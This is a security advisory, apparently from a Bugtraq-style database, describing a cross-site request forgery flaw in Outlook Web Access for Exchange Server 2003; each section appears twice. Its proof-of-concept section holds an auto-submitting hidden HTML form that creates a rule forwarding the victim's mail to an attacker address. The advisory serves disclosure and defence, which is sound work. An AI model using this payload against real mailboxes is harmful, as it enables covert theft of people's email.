Microsoft Outlook Web Access for Exchange Server 2003 Cross Site Request Forgery Vulnerability
BID:41843
Info
Microsoft Outlook Web Access for Exchange Server 2003 Cross Site Request Forgery Vulnerability
| Bugtraq ID: | 41843 |
| Class: | Design Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 20 2010 12:00AM |
| Updated: | Jun 05 2019 11:00AM |
| Credit: | anonymous |
| Vulnerable: |
Microsoft Outlook Web Access for Exchange Server 2003 |
| Not Vulnerable: | |
Discussion
Microsoft Outlook Web Access for Exchange Server 2003 Cross Site Request Forgery Vulnerability
Microsoft Outlook Web Access for Exchange Server 2003 is prone to a cross-site request-forgery vulnerability.
Exploiting this issue may allow a remote attacker to perform certain actions in the context of an authorized user's session and gain unauthorized access to the affected application; other attacks are also possible.
Microsoft Outlook Web Access for Exchange Server 2003 is prone to a cross-site request-forgery vulnerability.
Exploiting this issue may allow a remote attacker to perform certain actions in the context of an authorized user's session and gain unauthorized access to the affected application; other attacks are also possible.
Exploit / POC
Microsoft Outlook Web Access for Exchange Server 2003 Cross Site Request Forgery Vulnerability
To exploit this issue, an attacker must entice an unsuspecting victim into visiting a malicious webpage.
The following example request is available:
<form name="xsrf" action="http://www.example.com/Exchange/victim_id" method="post" target="_self">
<input type="hidden" name="cmd" value="saverule">
<input type="hidden" name="rulename" value="evilrule">
<input type="hidden" name="ruleaction" value="3">
<input type="hidden" name="forwardtocount" value="1">
<input type="hidden" name="forwardtoname" value="guy, bad">
<input type="hidden" name="forwardtoemail" value="[email protected]">
<input type="hidden" name="forwardtotype" value="SMTP">
<input type="hidden" name="forwardtoentryid" value="">
<input type="hidden" name="forwardtosearchkey" value="">
<input type="hidden" name="forwardtoisdl" value="">
<input type="hidden" name="keepcopy" value="1">
<body onload="document.forms.xsrf.submit();">
To exploit this issue, an attacker must entice an unsuspecting victim into visiting a malicious webpage.
The following example request is available:
<form name="xsrf" action="http://www.example.com/Exchange/victim_id" method="post" target="_self">
<input type="hidden" name="cmd" value="saverule">
<input type="hidden" name="rulename" value="evilrule">
<input type="hidden" name="ruleaction" value="3">
<input type="hidden" name="forwardtocount" value="1">
<input type="hidden" name="forwardtoname" value="guy, bad">
<input type="hidden" name="forwardtoemail" value="[email protected]">
<input type="hidden" name="forwardtotype" value="SMTP">
<input type="hidden" name="forwardtoentryid" value="">
<input type="hidden" name="forwardtosearchkey" value="">
<input type="hidden" name="forwardtoisdl" value="">
<input type="hidden" name="keepcopy" value="1">
<body onload="document.forms.xsrf.submit();">
Solution / Fix
Microsoft Outlook Web Access for Exchange Server 2003 Cross Site Request Forgery Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Microsoft Outlook Web Access for Exchange Server 2003 Cross Site Request Forgery Vulnerability
References:
References:
- Exchange Server Home Page (Microsoft)